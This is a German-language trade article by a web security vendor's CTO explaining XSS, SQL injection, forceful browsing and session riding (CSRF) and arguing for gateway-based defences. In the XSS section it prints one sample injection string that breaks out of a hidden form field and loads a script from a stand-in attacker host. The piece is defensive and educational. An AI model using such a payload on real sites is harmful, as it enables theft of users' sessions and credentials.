Was gibt es Schlimmeres, als das Opfer eines elektronischen Angriffs zu sein? Es nicht zu wissen! Vier von fünf Webapplikationen können heute erfolgreich mit einer der fortgeschritteneren Hackermethoden angegriffen werden. Erfolgreiche Attacken werden in den meisten Fällen nicht erkannt. Im besten Fall werden die vorhergehenden Fehlversuche bemerkt. Dies führt allerdings oftmals dazu, dass sich die Sicherheitsverantwortlichen in einer trügerischen Sicherheit wiegen.
Webapplikationen und Applikationsserver können von überallher auf der Welt erreicht werden. Dieser bequeme Zugriff ermöglicht es Angreifern, sich mit speziellen Attackmethoden Zugriff zu sensitiven Daten und kritischen Transaktionen zu verschaffen. Webserver sind per Definition elektronische Schnittstellen zu internen Ressourcen und bieten damit für Hacker eine der attraktivsten Angriffsplattformen überhaupt. Jede Verbindung eines Applikationsservers auf eine interne Ressource wie eine Datenbank oder ein Transaktionssystem stellt ein Risiko dar. Ein erfolgreicher Angriff ist nicht an die vermeintlichen Einschränkungen der Webapplikation gebunden.
Die Erfolgschancen stehen klar zu Gunsten des Angreifers: Er muss lediglich eine einzelne Schwachstelle finden, um erfolgreich zu sein. Eine Firma mit einer Webapplikation hingegen muss die Denkweise und jede mögliche Attacke eines Angreifers verstehen, um die Applikation zu schützen. Das bedeutet, dass die Applikation auch nach der funktionalen Fertigstellung kontinuierlich auf den aktuellsten Sicherheitsstand gebracht werden muss.
Die Praxis zeigt, dass Webapplikationen im besten Fall diejenigen Angriffsmethoden ansatzweise verhindern, die den Programmierern zum Zeitpunkt der Entwicklung bekannt waren. Beim aktuellen Bedrohungsszenario auf Applikationsebene reicht das allerdings in keiner Weise aus.
Automatisierte Angriffe durch Viren, Trojaner und Würmer verursachen in Log Files von Webservern, Firewalls und Intrusion-Detection-/Prevention-Systemen unzählige Einträge. Diese Meldungen täuschen das Gefühl vor, dass man vor Angriffen geschützt ist. Bei ernsthaften Attacken verhält sich das allerdings anders: Gezielte, manuelle Angriffe auf die Applikationsebene sind still und werden meist nicht erkannt. Sie unterscheiden sich aus Sicht der Applikation nicht von gültigen Requests und hinterlassen keinerlei spezielle Log-Einträge.
Viele Sicherheitsverantwortliche sind fest davon überzeugt, dass ihre Applikationen gut geschützt sind, weil «noch nie etwas passiert ist». Sie gehen davon aus, dass sie einen erfolgreichen Angriff erkennen würden. Diese Annahme basiert darauf, dass der Angriff merkliche Konsequenzen hinterliesse. Auffallen würden beispielsweise ein neues Verhalten der Applikation, Abstürze oder sichtbare Änderungen. Insbesondere bei stillen Angriffen, welche dem Diebstahl von vertraulichen Daten dienen (Kundendaten, Wirtschaftsdaten, Passwörten etc.), ist diese Annahme aber falsch.
Erfahrungen aus der Praxis zeigen, dass oft sensitive Daten aus Webapplikationen extrahiert werden können, ohne Spuren zu hinterlassen. Der erfolgreiche applikatorische Angriff unterscheidet sich aus Sicht der Applikation nicht von einem gültigen Request und wird nicht erkannt. Im besten Fall sieht man in den Logs die dem erfolgreichen Angriff vorhergehenden Fehlversuche. In der Praxis beobachtet man zwar oft Applikationen, welche die einfachsten Ausprägungen von Angriffsmethoden blockieren. Trotzdem kann mit einer gezielten, besser abgestimmten Attacke der einfache, meist im Eiltempo handgestrickte Filter umgangen werden. Der Administrator sieht wohl den geblockten Fehlversuch, ahnt aber nicht, dass seine Applikation fast gleichzeitig erfolgreich gehackt wird.
Viele Applikationen können bereits mit einer der vier häufigsten Attackmethoden erfolgreich angegriffen werden: Cross Site Scripting, SQL Injection, Forceful Browsing und Session Riding. Applikationsentwickler versuchen teilweise, sich dieser Problematik bei der Programmierung anzunehmen. Aber die Angriffsmethoden entwickeln sich in der Zwischenzeit ebenfalls weiter, und es kommen stetig neue dazu. Es ist ein Wettrüsten zwischen Hackern und Sicherheitsanbietern. Für effektive Sicherheitsmassnahmen sind Kenntnisse über alle, auch exotische Angriffsmethoden unabdingbar.
Um Webapplikationen gegenüber den stetig neuen und immer raffinierteren Attacken auf Applikationsebene zu schützen, ist eine Reihe von Massnahmen nötig. Grundsätzlich müssen Webapplikationen und Webserver vor ungültigen Requests geschützt werden. Durch mehrstufige Filterung und Validierung dürfen nur noch gültige Requests und Daten an die Applikation gelangen. Die wichtigsten Anforderungen für sichere Webapplikationen sind:
4hochentwickelte Eingabe-, Protokoll- und Request-Filter auf allen Ebenen;
4von der Applikation entkoppelte Authentisierung, damit geschützte Bereiche in keiner Form anonym erreicht werden können;
4kryptografische URL-Verschlüsselung und HTML Form Protection zur Verhinderung verschiedener Ausprägungen von Session Riding und Forceful Browsing;
4sicherer Session-Handling-Mechanismus mit starker Authentisierung;
4vorgelagerte SSL-Terminierung.
Eine gute Quelle für weitere Informationen ist der aktualisierte OWASP-Leitfaden «The OWASP Guide to Securing Web Applications and Services» des Open-Web-Application-Security-Projekts (www.owasp.org). Ausserdem stellt Seclutions (www.seclutions.com) auf seiner Webseite ein Whitepaper zum Thema Webapplikationssicherheit zur Verfügung. Darin werden zahlreiche Angriffsmethoden beschrieben und die nötigen Schutzmassnahmen erläutert.
Webapplikationen können heute mit einer applikatorischen Attackmethode einfacher angegriffen werden als gemeinhin angenommen wird. Für effektive Schutzmassnahmen ist das Verständnis für die Denkensweise und das Vorgehen von Hackern und die Funktionsweise der Attackmethoden nötig. Denn gezielte manuelle Angriffe sind um ein Vielfaches wirkungsvoller als die verbreitete Ausnutzung von bekannten Schwachstellen.
Die Schutzmassnahmen in die Applikation zu integrieren führt nicht zum Erfolg, da die Applikation in diesem Fall kontinuierlich aktualisiert werden müsste, um gegen neue und veränderte Angriffsmethoden geschützt zu sein. Es gilt durch die Kombination von vorgelagerten Sicherheitsfunktionen in einem Application Security Gateway und Massnahmen in der Applikationsentwicklung die Risiken für Angriffe tief zu halten und möglichst wenig Information über die Webapplikation und die verwendeten Technologien preiszugeben.
Cross Site Scripting (XSS)
Häufig werden Eingaben oder Parameter von Webapplikationen in der HTML-Antwort wiedergegeben (Echo). Dies kann zur Manipulation der Antwort mit einer Injektion von HTML-Code und JavaScript-Befehlen ausgenutzt werden. Ein Angreifer kann Code in die Schwachstelle einschleusen. Dieser wird dann beim Opfer im Sicherheitskontext der Applikation ausgeführt. Mit einer XSS-Attacke lassen sich sehr effektiv Credentials oder Sessions von anderen Benutzern stehlen. Eine XSS-Schwachstelle kann insbesondere in Kombination mit anderen Angriffen sehr wirkungsvoll sein – zum Beispiel Phishing über XSS, Defacement via XSS oder Session Riding via XSS. Mit XSS lassen sich ernsthafte Angriffe durchführen.
Nur gerade im einfachsten Fall zeigt die Webapplikation eine Seite an, in der die Benutzereingabe sichtbar als Echo erscheint. Zum Beispiel als Resultat einer erfolglosen Suchabfrage («Der Begriff <...> konnte leider nicht gefunden werden») oder eines erfolglosen Log-in («Der Benutzer <...> existiert nicht»). Kritische XSS-Schwachstellen von aktuellen Webapplikationen gehen weit über diese einfachen Beispiele hinaus. Vor allem die nicht sichtbaren Echos in Applikationsantworten sind für einen Angreifer interessant, da dort oft keine Sicherheitsvorkehrungen getroffen werden. Beispiele hierfür sind dynamisch erzeugte Links, dynamisch erzeugte JavaScript-Befehle, Daten von versteckten Feldern oder HTML-Kommentare.
Ein Angreifer, der eine XSS-Schwachstelle sucht, analysiert jede Applikationsantwort im Detail. Sein Ziel ist es, durch Eingaben in URL, einem Parameter oder in HTML-Formularen ein Echo zu finden, das er für eine HTML- oder Script-Injektion verwenden kann. Hier ein Beispiel:
Eine Applikation merkt sich den letzten Suchbegriff in einem HTML Hidden Field:
<input type="hidden" name=
"lSearch" value="testsuche123"/>
Ein Angreifer liefert folgende spezielle Zeichenfolge als Sucheingabe (inklusive der Quotes):
x"/><script src="http://my.attack.com/p0wn.js"/><input type=hidden name=x value="
Die Applikation liefert das vom Angreifer modifizierte HTML aus, mit welchem er die Kontrolle übernimmt:
<input type="hidden" name=
lSearch" value="x"/><script src=http://my.attack.com/p0wn.js<
<input type=hidden name=x value=""/>
Das Ausschalten von JavaScript im Webbrowser oder die Filterung des HTML Tags «Script» in der Webapplikation werden nicht ausreichen, um XSS-Angriffe zu verhindern. XSS-Angriffe können auf viele Arten codiert und maskiert werden. Triviale Filter werden auf diese Weise einfach ausgetrickst.
SQL Injection
Sehr viele Webapplikationen verwenden intern SQL für Datenbankabfragen. Interaktive Webapplikationen verwenden häufig Teile von URLs, Parametern oder Benutzereingaben in solchen SQL-Abfragen. Durch gezielte Manipulation dieser Parameter kann ein Angreifer die SQL-Syntax abändern. Im einfachsten Fall verändert er damit lediglich eine Abfragebedingung. Ein erfahrener Angreifer kann eine SQL-Injection-Schwachstelle weit effektiver nutzen. Über eine SQL-Injection-Schwachstelle lassen sich unter Umständen beliebige Daten aus der Datenbank lesen (Systemtabellen, Passwörter etc.), Verbindungen zu anderen Systemen herstellen und gar applikatorische Backdoors installieren.
In komplexen Webapplikationen kommen oft Komponenten zum Einsatz, die intern eine Datenbank mit SQL verwenden, ohne dass dies dem Webprogrammierer bewusst ist (zum Beispiel CMS-Systeme oder Webschnittstellen von kommerziellen Datenverwaltungssystemen). Auch hier wird eine erfolgreiche SQL-Injection-Attacke meist nicht erkannt, da es sich aus Sicht der Applikation um einen gültigen Request handelt. Für eine erfolgreiche SQL-Injection-Attacke müssen die Daten nicht zwingend in der HTML-Antwort extrahiert werden können (in-band SQL-Injection-Attacke). Die fortgeschrittenen SQL-Injection-Attacken verwenden out-of-band-Kanäle oder Rückschlussmechanismen (Inferences) zur Extraktion von Daten.
Forceful Browsing
Webapplikationen gehen davon aus, dass vorgegebene Abläufe und Vorgaben eingehalten werden. Der Begriff «Forceful Browsing» beschreibt das Vorgehen, bei dem der Angreifer sich nicht an die Vorgaben einer Applikation hält. Bei Webapplikationen kann ein Angreifer beliebige URLs an eine Applikation senden, Parameter für GET- als auch POST- Requests beliebig wählen, und er muss sich insbesondere nicht an Längenbeschränkungen im HTML halten. Er kann zudem Hidden Fields oder auch Cookies beliebig erzeugen oder manipulieren. Ein Beispiel:
Eine Webapplikation erlaubt in einem HTML-Formular die Auswahl eines Währungskürzels aus der Liste USD, EUR und CHF. Ein Angreifer muss sich nicht an diese Liste halten und kann beliebige und vor allem auch beliebig grosse Eingaben verwenden. Die Applikation muss allen Forceful-Browsing-Varianten gegenüber widerstandsfähig sein.
Forceful Browsing kann von einem Angreifer sehr effektiv verwendet werden, um eine konkrete Attackmethode durchzuführen (zum Beispiel XSS, SQL Injection, Buffer Overflows). Besonders kritisch ist die Forceful-Browsing-Methode bei Angriffen gegen den Webapplikationsserver. Immer wieder tauchen Schwachstellen von Applikationsservern auf, die durch manipulierte URLs oder Parameter ausgenutzt werden können, ohne dass dabei die konkrete Webapplikation überhaupt involviert ist. Sicherheitsmassnahmen in der Webapplikation bieten in diesen Fällen keinen Schutz.
Session Riding
Die Methode Session Riding ist auch bekannt unter dem Begriff «Cross Site Request Forgery». Fast alle transaktionsorientierten Webapplikationen sind heute damit angreifbar.
Bei dieser Attackmethode wird dem Opfer ein Link in der Form von HTML (E-Mails, Webseiten, Forum etc.) untergejubelt, der auf einer geschützten Applikation eine Transaktion des Angreifers zu plazieren versucht. Falls das Opfer zu diesem Zeitpunkt in der geschützten Applikation eingeloggt ist, kann der Angreifer im Sicherheitskontext des Opfers Transaktionen auslösen, ohne selbst die Session übernehmen zu müssen.
Effektiver Schutz gegenüber Session Riding erfordert hochsicheres Session Handling mit kryptografisch gesicherten URLs, damit externe Links keine gefälschten Transaktionen auslösen können.
Cyrill Osterwalder ist CTO bei der Schweizer Firma Seclutions und als solcher für die Entwicklung und die Sicherheitsfunktionen des Application Security Gateways AirLock verantwortlich. Weiter ist er Mitglied des Web Application Security Consoritum (WASC, www.webappsec.org).
